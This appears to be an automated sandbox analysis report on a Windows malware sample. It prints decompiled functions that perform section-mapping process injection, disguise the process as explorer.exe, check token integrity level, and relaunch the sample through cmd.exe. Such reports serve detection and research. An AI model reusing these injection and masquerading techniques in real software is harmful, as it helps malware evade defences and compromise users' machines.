Part of subcall function 0040153A: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
Part of subcall function 0040153A: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
Part of subcall function 0040153A: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644

Memory Dump Source

Source File: 00000002.00000002.415950224.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rgrsiwf.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 48d7d24fba552eb6173eff8f6edf645353d33e8fdcd34db1c7cd98e9063de443
Instruction ID: 7bbf9fe256f195da6a7c80be41884dd11f4d1e9b9c7a3ee752fcad2c27075f74
Opcode Fuzzy Hash: 48d7d24fba552eb6173eff8f6edf645353d33e8fdcd34db1c7cd98e9063de443
Instruction Fuzzy Hash: DC01A2B1608200EBDB006B949DA1E7A33189B04354F204137B653B91F1C63D9912E76F

Uniqueness

Uniqueness Score: -1.00%

Function 00401960 Relevance: 1.3, APIs: 1, Instructions: 42
sleepCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E00401960(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t8;
				void* _t11;
				void* _t13;
				intOrPtr* _t17;
				intOrPtr _t22;
				void* _t27;
				intOrPtr* _t29;

				_t32 = __eflags;
				_t25 = __esi;
				_t23 = __edi;
				asm("cli");
				E004011BD(_t8, __ebx, __ecx, __edx, __edi, __esi, __eflags);
				_t17 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_push(_t27 - 4);
				_push( *((intOrPtr*)(_t27 + 0x10)));
				_push( *((intOrPtr*)(_t27 + 0xc)));
				_push(_t17); // executed
				_t11 = E0040143E(_t32); // executed
				_t33 = _t11;
				if(_t11 != 0) {
					E0040153A(__edi, _t17, _t11,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t17(0xffffffff, 0);
				_t13 = 0x1966;
				_push(0x7c);
				_t22 =  *_t29;
				return E004011BD(_t13, _t17, 0x72, _t22, _t23, _t25, _t33);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 0040196E

Part of subcall function 0040153A: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
Part of subcall function 0040153A: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
Part of subcall function 0040153A: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644

Memory Dump Source

Source File: 00000002.00000002.415950224.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rgrsiwf.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 7b9795f79594614cdc2240e247b1a8c813e311bd2ebf40e43f89dba45cbf1fc6
Instruction ID: 4fa9b01e9fd5dc67aab2f2a0cde1b7af8ef9b59d956be13eb0b02b621cdc38fd
Opcode Fuzzy Hash: 7b9795f79594614cdc2240e247b1a8c813e311bd2ebf40e43f89dba45cbf1fc6
Instruction Fuzzy Hash: D0F0C2B6208104FBDB006B959DA1EBA3328EB04354F204537B613B91F1C63D9912E76F

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00410C22 Relevance: 66.4, APIs: 44, Instructions: 432COMMONLIBRARYCODE

Download Yara Rule

APIs

___getlocaleinfo.LIBCMT ref: 00410C59
___getlocaleinfo.LIBCMT ref: 00410C6E
___getlocaleinfo.LIBCMT ref: 00410C83
___getlocaleinfo.LIBCMT ref: 00410C98
___getlocaleinfo.LIBCMT ref: 00410CB0
___getlocaleinfo.LIBCMT ref: 00410CC5
___getlocaleinfo.LIBCMT ref: 00410CD7
___getlocaleinfo.LIBCMT ref: 00410CEC
___getlocaleinfo.LIBCMT ref: 00410D04
___getlocaleinfo.LIBCMT ref: 00410D19

Memory Dump Source

Source File: 00000002.00000002.415961290.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_409000_rgrsiwf.jbxd

Similarity

API ID: ___getlocaleinfo
String ID:
API String ID: 1937885557-0
Opcode ID: 4b3e3e3a8c8762650bd2c96517132d74a96bf774ae9838a5225823307a7ff8b2
Instruction ID: b5b5c7f6981664b854201ecc88649827aa5d2570391a9dae9ca4bd2e7186d392
Opcode Fuzzy Hash: 4b3e3e3a8c8762650bd2c96517132d74a96bf774ae9838a5225823307a7ff8b2
Instruction Fuzzy Hash: BAE1D1B290020DBEEF11DAE1CC81EFFB7FDEB04748F04092AB255E6441EA75AB459764

Uniqueness

Uniqueness Score: -1.00%

Function 007F092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 007F095F
GetProcAddress., xrefs: 007F09DC, 007F09DF, 007F09E4
l, xrefs: 007F0966

Memory Dump Source

Source File: 00000002.00000002.416061503.00000000007F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7f0000_rgrsiwf.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: e977578f39b2798f1f00796c5b0a19c9f2b37973475980efa7319d3d5943ab6b
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 9E316DB6900609DFDB10CF99C884AADBBF9FF48324F54404AD541A7312D7B5EA45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 007F0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416061503.00000000007F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7f0000_rgrsiwf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 0cc056ec6358d08b1319ac2d9b4faae0d53776dc277bb5c349a624afe1b6c56f
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 5301F272B016088FDF21DF64C804BBA33E9FB86306F0544A4DA0A97383E378A8418BC0

Uniqueness

Uniqueness Score: -1.00%

Function 0040960F Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 208COMMON

Download Yara Rule

APIs

__expandlocale.LIBCMT ref: 0040961E

Part of subcall function 004093A9: __getptd.LIBCMT ref: 004093DF

__malloc_crt.LIBCMT ref: 00409669

Strings

(*C, xrefs: 0040987A

Memory Dump Source

Source File: 00000002.00000002.415961290.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_409000_rgrsiwf.jbxd

Similarity

API ID: __expandlocale__getptd__malloc_crt
String ID: (*C
API String ID: 376473262-1235292744
Opcode ID: 5a2a860c08d323f76ea480b1a606565a33ae7ca498b4fee0e9a95f899ff8b0c6
Instruction ID: 2bb4b42d40194fa688fd4175d2dc9e6af4f967e00a3bd886a072118db043e238
Opcode Fuzzy Hash: 5a2a860c08d323f76ea480b1a606565a33ae7ca498b4fee0e9a95f899ff8b0c6
Instruction Fuzzy Hash: CF814C71A102159FDB24DF28C991BD9B7B5EF09304F1084AAE949E7391EB35EE84CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0040E2BB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

__crt_waiting_on_module_handle.LIBCMT ref: 0040E2D8
__lock.LIBCMT ref: 0040E333
__lock.LIBCMT ref: 0040E354

Strings

0*C, xrefs: 0040E367
D#@, xrefs: 0040E2C7

Memory Dump Source

Source File: 00000002.00000002.415961290.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_409000_rgrsiwf.jbxd

Similarity

API ID: __lock$__crt_waiting_on_module_handle
String ID: 0*C$D#@
API String ID: 946058739-484267361
Opcode ID: a87f3b02426a3f68996586c43f01bec870b0ff04edb550816f3cc0a6fa946534
Instruction ID: b9665e7af91679f3f3b582fdfa13a40e69cb5c7d2ec91507ee80e3025b33b9fd
Opcode Fuzzy Hash: a87f3b02426a3f68996586c43f01bec870b0ff04edb550816f3cc0a6fa946534
Instruction Fuzzy Hash: 55116F71900700ABD720AF76990574ABBE0AF04314F10893FA899B72E1CBB8AA40CB5C

Uniqueness

Uniqueness Score: -1.00%

Function 0041559D Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 004155BF
__calloc_crt.LIBCMT ref: 004155D8

Strings

h-C, xrefs: 00415641
x/C, xrefs: 00415604

Memory Dump Source

Source File: 00000002.00000002.415961290.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_409000_rgrsiwf.jbxd

Similarity

API ID: __calloc_crt
String ID: h-C$x/C
API String ID: 3494438863-154124363
Opcode ID: 5343b3a236963ccdb9b3acedf3f4c6965ea2b6dcddf3e814f34aef42946053d6
Instruction ID: b46a632e76399ed23c9c8f69d2a52335f61cc5348208ef1623372e5e3ce02d5b
Opcode Fuzzy Hash: 5343b3a236963ccdb9b3acedf3f4c6965ea2b6dcddf3e814f34aef42946053d6
Instruction Fuzzy Hash: BD11C471304A11DBE3148A1DBD406F63693BBD4364B54512FE619CA3D4E738DCC2864C

Uniqueness

Uniqueness Score: -1.00%

Function 004100D9 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041010B

Part of subcall function 0040E41B: __getptd_noexit.LIBCMT ref: 0040E41E
Part of subcall function 0040E41B: __amsg_exit.LIBCMT ref: 0040E42B

__getptd.LIBCMT ref: 00410119
__getptd.LIBCMT ref: 00410127
__getptd.LIBCMT ref: 00410132

Part of subcall function 004101FF: __getptd.LIBCMT ref: 0041020E
Part of subcall function 004101FF: __getptd.LIBCMT ref: 0041021C

Memory Dump Source

Source File: 00000002.00000002.415961290.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_409000_rgrsiwf.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID:
API String ID: 803148776-0
Opcode ID: 37089c506bae7821bf1eb554fed32104d49babbacc3b0c08b74765232ce4adf8
Instruction ID: 6906fc2eb059a5fb645e049a3734fac84ca95ae7b208f063daf034c04ceb5dc4
Opcode Fuzzy Hash: 37089c506bae7821bf1eb554fed32104d49babbacc3b0c08b74765232ce4adf8
Instruction Fuzzy Hash: 5311E4B1D00209EFDF00EFA5C945AAD7BB0FF04318F5084BAF814A7291DB799A559F54

Uniqueness

Uniqueness Score: -1.00%

Function 00416FC4 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00416FEA

Part of subcall function 00416E0F: __fltout2.LIBCMT ref: 00416E3B

__cftog_l.LIBCMT ref: 00417010
__cftoe_l.LIBCMT ref: 00417042

Memory Dump Source

Source File: 00000002.00000002.415961290.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_409000_rgrsiwf.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 890290a9821ddd54f04af81d90eefa11c79114543b5f9bbecf0399683e4fde5a
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 38114E7204424ABBCF225E95CC11CEE3F76BB1C394F598416FA5859131C73AC9B2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 0040FE6A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040FE98
__CallSettingFrame@12.LIBCMT ref: 0040FEE8

Strings

j, xrefs: 0040FE6E

Memory Dump Source

Source File: 00000002.00000002.415961290.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_409000_rgrsiwf.jbxd

Similarity

API ID: CallFrame@12Setting__getptd
String ID: j
API String ID: 3454690891-2137352139
Opcode ID: 10cd44e4b75e014efb2b9ab5dff642fdf80d2c9d87d2439701159642f470fb2c
Instruction ID: 9c009d53c19f6bff4e2d2645b2eb01da0ba5b356627684de364355f29f35ad1c
Opcode Fuzzy Hash: 10cd44e4b75e014efb2b9ab5dff642fdf80d2c9d87d2439701159642f470fb2c
Instruction Fuzzy Hash: CB119A32904260DACB21CB68C4443ACBB70BF01318F1881BBD4947FAE3C7796946DB99

Uniqueness

Uniqueness Score: -1.00%

Function 004101FF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041020E

Part of subcall function 0040E41B: __getptd_noexit.LIBCMT ref: 0040E41E
Part of subcall function 0040E41B: __amsg_exit.LIBCMT ref: 0040E42B

__getptd.LIBCMT ref: 0041021C

Strings

csm, xrefs: 0041022A

Memory Dump Source

Source File: 00000002.00000002.415961290.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_409000_rgrsiwf.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: bd2b6daa64100f0e5404395fd06fd8505ee1ece52034c30e8a81c3e54b197e8b
Instruction ID: dc9582738dd8ce31577bcca2e8845686fccb3959f9d811b194458195775c562d
Opcode Fuzzy Hash: bd2b6daa64100f0e5404395fd06fd8505ee1ece52034c30e8a81c3e54b197e8b
Instruction Fuzzy Hash: F8012835800205CACF349F66C488AEEB7B5AF21315F144AAFE041A6791CF799DD5CA09

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 72E5.exePID: 3004, Parent PID: 3528COMMON

Execution Graph

Execution Coverage:	6.8%
Dynamic/Decrypted Code Coverage:	32.3%
Signature Coverage:	8.6%
Total number of Nodes:	303
Total number of Limit Nodes:	6

Executed Functions

Function 00409543 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78
memorylibrarynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E00409543(void* __ecx) {
				intOrPtr _v8;
				long _v12;
				long _v16;
				short _v1056;
				long _t24;
				void* _t28;
				WCHAR* _t30;
				WCHAR* _t31;

				_v8 = E00407E0C();
				E0040335C(__ecx,  &_v1056, 0x410);
				_t24 = GetWindowsDirectoryW( &_v1056, 0x104);
				_v12 = _t24;
				if(_v12 != 0 && _v12 < 0x104) {
					E0040B160( &_v1056, "\\");
					E0040B160( &_v1056, L"explorer.exe");
					 *0x46c2d0 = 0;
					_v16 = 0x1000;
					_t24 = NtAllocateVirtualMemory(0xffffffff, 0x46c2d0, 0,  &_v16, 0x3000, 4); // executed
					if( *0x46c2d0 != 0) {
						_t28 =  *0x46c2d0; // 0x7a0000
						E00408BFE( &_v16, _t28,  &_v1056);
						_t13 = _v8 + 0x1c; // 0xdb51e8ec
						EnterCriticalSection( *_t13);
						_t30 =  *0x46c2d0; // 0x7a0000
						_t15 = _v8 + 0x10; // 0x1b8
						RtlInitUnicodeString( *_t15 + 0x38, _t30);
						_t31 =  *0x46c2d0; // 0x7a0000
						_t17 = _v8 + 0x10; // 0x1b8
						RtlInitUnicodeString( *_t17 + 0x40, _t31);
						_t19 = _v8 + 0x1c; // 0xdb51e8ec
						LeaveCriticalSection( *_t19);
						return  *0x46cfb0(0, E004050A2, _v8);
					}
				}
				return _t24;
			}

0x00409551
0x00409560
0x00409574
0x0040957a
0x00409581
0x004095a0
0x004095b4
0x004095bc
0x004095c6
0x004095e1
0x004095ee
0x004095fb
0x00409601
0x0040960c
0x00409610
0x00409616
0x0040961f
0x00409626
0x0040962c
0x00409635
0x0040963c
0x00409645
0x00409649
0x00000000
0x0040965a
0x004095ee
0x00409718

APIs

GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409574
NtAllocateVirtualMemory.NTDLL(000000FF,0046C2D0,00000000,00001000,00003000,00000004), ref: 004095E1
EnterCriticalSection.KERNEL32(DB51E8EC), ref: 00409610
RtlInitUnicodeString.NTDLL(00000180,007A0000), ref: 00409626
RtlInitUnicodeString.NTDLL(00000178,007A0000), ref: 0040963C
LeaveCriticalSection.KERNEL32(DB51E8EC), ref: 00409649
LdrEnumerateLoadedModules.NTDLL(00000000,004050A2,00404393), ref: 0040965A

Strings

explorer.exe, xrefs: 004095A8

Memory Dump Source

Source File: 00000005.00000002.430499796.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.430499796.0000000000410000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_72E5.jbxd

Yara matches

Similarity

API ID: CriticalInitSectionStringUnicode$AllocateDirectoryEnterEnumerateLeaveLoadedMemoryModulesVirtualWindows
String ID: explorer.exe
API String ID: 3728205514-3187896405
Opcode ID: 971d90eb416ca67aafcaf3557b906dfb5bbb6d99924e81ee9f7e95ee9359d988
Instruction ID: d3c5517ac64ebe0f4a93bb8fcf9093c65cacff95b6910bca11f849b0b04bbd4d
Opcode Fuzzy Hash: 971d90eb416ca67aafcaf3557b906dfb5bbb6d99924e81ee9f7e95ee9359d988
Instruction Fuzzy Hash: 4F3195B5940208EBC704DF90DCC5FA97775AB48305F1081BAFA05672D1E7B8AE85CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00989436 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0098945E
Module32First.KERNEL32(00000000,00000224), ref: 0098947E

Memory Dump Source

Source File: 00000005.00000002.431911028.0000000000988000.00000040.00000020.00020000.00000000.sdmp, Offset: 00988000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_988000_72E5.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 4a7d46c919193dc2787a242c2f00e91e3f25ae2a3a94ab048ea9e07062ff1536
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 2FF0C2322003246BD7203AF9988CB7A76EDAF89321F140128F683911D0CA70E8064B61

Uniqueness

Uniqueness Score: -1.00%

Function 0040AEA4 Relevance: 3.0, APIs: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E0040AEA4(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				void* _t6;
				void* _t7;
				void* _t11;
				void* _t14;
				void* _t15;

				_t15 = __esi;
				_t14 = __edi;
				_t11 = __ebx;
				_push(__ecx);
				_v8 =  *[fs:0x30];
				E0040D1F6();
				_t13 = _v8;
				if( *((intOrPtr*)(_v8 + 0xa4)) > 5) {
					E00404369(__ebx, __edi, __esi); // executed
				}
				_t6 = E0040C13C(_t13);
				if(_t6 != 0) {
					_t7 = E00403AEE(_t13);
					__eflags = _t7;
					if(_t7 != 0) {
						E004043AD();
						__eflags = E00407D21(_t11, _t13, _t14, _t15);
						if(__eflags != 0) {
							Sleep(0x927c0);
							E004023F2(__eflags);
						}
						ExitProcess(0);
					}
					return _t7;
				} else {
					return _t6;
				}
			}

0x0040aea4
0x0040aea4
0x0040aea4
0x0040aea7
0x0040aeae
0x0040aeb1
0x0040aeb6
0x0040aec0
0x0040aec6
0x0040aec6
0x00401bd2
0x00401bd9
0x004044bc
0x004044c1
0x004044c3
0x0040a95e
0x0040a968
0x0040a96a
0x0040a975
0x0040a97b
0x0040a97b
0x00402b46
0x00402b46
0x00000000
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000005.00000002.430499796.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.430499796.0000000000410000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_72E5.jbxd

Yara matches

Similarity

API ID: Module$FileHandleInitializeLibraryLoadName
String ID:
API String ID: 1691763914-0
Opcode ID: 1d1e830cd534af54437783b51cc9c08bc841a27dcc6edcfaa80d65915427b13e
Instruction ID: b20ac1345fbffd2ee6b09d0fcfa97f88ae309217d757d61775f2d603f36cc11d
Opcode Fuzzy Hash: 1d1e830cd534af54437783b51cc9c08bc841a27dcc6edcfaa80d65915427b13e
Instruction Fuzzy Hash: 0BF0BE70608345D6C6047FB38E4672A76B8AF0030DF10407FFD02B62D2EA7E9A11559F

Uniqueness

Uniqueness Score: -1.00%

Function 00405C4C Relevance: 12.1, APIs: 8, Instructions: 78
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E00405C4C() {
				void** _v8;
				void* _v12;
				long _v16;
				long _v20;
				int _v24;
				int _t31;

				_v24 = 0;
				_v12 = 0;
				_v16 = 0;
				_v8 = 0;
				_v20 = 0;
				while(OpenProcessToken(0xffffffff, 8,  &_v12) != 0) {
					GetTokenInformation(_v12, 0x19, 0, 0,  &_v16); // executed
					_push(_v16);
					_v8 = LocalAlloc(0, ??);
					_t31 = GetTokenInformation(_v12, 0x19, _v8, _v16,  &_v16); // executed
					if(_t31 != 0) {
						_v20 =  *(GetSidSubAuthority( *_v8, ( *(GetSidSubAuthorityCount( *_v8)) & 0x000000ff) - 0x00000001 & 0x000000ff));
						_v24 = _v20;
						if(0 != 0) {
							continue;
						}
						L3:
						if(_v12 != 0) {
							FindCloseChangeNotification(_v12); // executed
						}
						if(_v8 != 0) {
							LocalFree(_v8);
						}
						return _v24;
					}
					goto L3;
				}
				goto L3;
			}

0x00405c52
0x00405c59
0x00405c60
0x00405c67
0x00405c6e
0x00409c8c
0x00407a5f
0x00407a68
0x00407a71
0x00407a86
0x00407a8e
0x00401060
0x00401066
0x0040106b
0x00000000
0x00000000
0x00401236
0x0040123a
0x00401244
0x00401244
0x00403bc9
0x00403bd3
0x00403bd3
0x00402955
0x00402955
0x00000000
0x00407a94
0x00000000

APIs

FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
LocalFree.KERNEL32(00000000), ref: 00403BD3
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407A5F
LocalAlloc.KERNEL32(00000000,00000000), ref: 00407A6B
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407A86
OpenProcessToken.ADVAPI32(000000FF,00000008,00000000), ref: 00409C94

Memory Dump Source

Source File: 00000005.00000002.430499796.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.430499796.0000000000410000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_72E5.jbxd

Yara matches

Similarity

API ID: Token$InformationLocal$AllocChangeCloseFindFreeNotificationOpenProcess
String ID:
API String ID: 2854556994-0
Opcode ID: 2fabac034638274b2c3e67be2bc06953f5cdff95292f6c9f39c7e9c359d166b0
Instruction ID: 2e4b4cc31351ce880421fb230fd6ac05725b6f10eb8191371f756e524e2f733f
Opcode Fuzzy Hash: 2fabac034638274b2c3e67be2bc06953f5cdff95292f6c9f39c7e9c359d166b0
Instruction Fuzzy Hash: ED313CB4A04208FFDB14CFD4C948BAEBBF8AB48301F1081AAE511B72D4D774AB04DB65

Uniqueness

Uniqueness Score: -1.00%

Function 00404369 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E00404369(void* __ebx, void* __edi, void* __esi) {
				char _v528;
				char _v1052;
				short _v1576;
				void* _t14;
				void* _t15;
				void* _t16;
				void* _t24;

				GetModuleFileNameW(0,  &_v1576, 0x105);
				 *0x413084(0); // executed
				E00409543(_t24); // executed
				_t14 = E00405C4C(); // executed
				if(_t14 <= 0x2000) {
					_t15 = E00405C4C(); // executed
					if(_t15 >= 0x2000) {
						_t16 = E00405D04(__ebx, __edi, __esi,  &_v1576, 0); // executed
					} else {
						_t25 =  &_v528;
						E0040335C( &_v528,  &_v528, 0x20a);
						E00405312(L"%systemroot%\\system32\\cmd.exe",  &_v528, 0x104);
						E00408BFE(_t25,  &_v1052, L"/C ");
						E0040B160( &_v1052,  &_v1576);
						_t16 = E00405D04(__ebx, __edi, __esi,  &_v528,  &_v1052);
					}
					ExitProcess(0);
				} else {
					return 1;
				}
			}

0x00404380
0x00404388
0x0040438e
0x00404393
0x0040439d
0x004063d2
0x004063dc
0x00402608
0x004063e2
0x004063e7
0x004063ee
0x00406407
0x0040641b
0x00406431
0x00406447
0x0040644c
0x0040a945
0x004043a3
0x00000000
0x004043a3

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105), ref: 00404380
CoInitialize.OLE32(00000000), ref: 00404388

Part of subcall function 00409543: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409574
Part of subcall function 00409543: NtAllocateVirtualMemory.NTDLL(000000FF,0046C2D0,00000000,00001000,00003000,00000004), ref: 004095E1
Part of subcall function 00409543: EnterCriticalSection.KERNEL32(DB51E8EC), ref: 00409610
Part of subcall function 00409543: RtlInitUnicodeString.NTDLL(00000180,007A0000), ref: 00409626
Part of subcall function 00409543: RtlInitUnicodeString.NTDLL(00000178,007A0000), ref: 0040963C
Part of subcall function 00409543: LeaveCriticalSection.KERNEL32(DB51E8EC), ref: 00409649
Part of subcall function 00409543: LdrEnumerateLoadedModules.NTDLL(00000000,004050A2,00404393), ref: 0040965A

Part of subcall function 00405C4C: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
Part of subcall function 00405C4C: LocalFree.KERNEL32(00000000), ref: 00403BD3
Part of subcall function 00405C4C: OpenProcessToken.ADVAPI32(000000FF,00000008,00000000), ref: 00409C94

ExitProcess.KERNEL32 ref: 0040A945

Strings

/C , xrefs: 0040640F
%systemroot%\system32\cmd.exe, xrefs: 00406402

Memory Dump Source

Source File: 00000005.00000002.430499796.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.430499796.0000000000410000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_72E5.jbxd

Yara matches

Similarity

API ID: CriticalInitProcessSectionStringUnicode$AllocateChangeCloseDirectoryEnterEnumerateExitFileFindFreeInitializeLeaveLoadedLocalMemoryModuleModulesNameNotificationOpenTokenVirtualWindows
String ID: %systemroot%\system32\cmd.exe$/C
API String ID: 41577365-3057154508
Opcode ID: c5e22f618a67b604fe27e09ba26f5c85a86b36c7864aea17beee92a495aee461
Instruction ID: 7b01f62542bec0b1d87828faea97dd6a3c55c304531570e4c9315d46f9a50642
Opcode Fuzzy Hash: c5e22f618a67b604fe27e09ba26f5c85a86b36c7864aea17beee92a495aee461
Instruction Fuzzy Hash: 9411ABB290430866D710BB60EC47FDE73299B54705F0045BBB709B50C2ED7997D88EAE

Uniqueness

Uniqueness Score: -1.00%

Function 00407AB9 Relevance: 6.1, APIs: 4, Instructions: 59
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed
